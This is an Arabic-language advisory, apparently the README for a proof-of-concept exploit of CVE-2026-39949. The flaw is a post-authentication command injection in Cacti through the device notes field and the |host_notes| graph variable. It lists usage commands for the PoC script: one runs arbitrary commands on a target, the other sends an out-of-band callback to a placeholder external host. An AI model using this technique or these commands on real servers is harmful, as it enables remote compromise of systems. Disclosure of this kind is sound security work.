CVE-2026-39949

CVE-2026-39949: تنفيذ أكواد عن بُعد بعد المصادقة في Cacti عبر حقن متغير المضيف

الملخص

تسمح ثغرة حقن أوامر نظام التشغيل في Cacti ≤ 1.2.30 لأي مستخدم موثَّق يتمتع بصلاحيات إنشاء الأجهزة وقوالب الرسوم البيانية بتنفيذ أوامر عشوائية على الخادم الأساسي. يكمن الخلل في أن حقول بيانات المضيف الوصفية التي يتحكم فيها المستخدم (وتحديداً حقل ملاحظات الجهاز) تُستبدل في وسائط سطر أوامر RRDtool عبر محرك استبدال المتغيرات في Cacti دون أي تنقية أو تهريب. يمكن للمهاجم حقن محارف وصفية للصدفة في حقل الملاحظات، وصياغة قالب رسم بياني يشير إلى متغير |host_notes|، ثم تحفيز عرض الرسم البياني لتحقيق تنفيذ كامل للأكواد عن بُعد بصلاحيات مستخدم خادم الويب.

الاستخدام:

python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'

تنفيذ الأوامر خارج النطاق (OOB):

python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com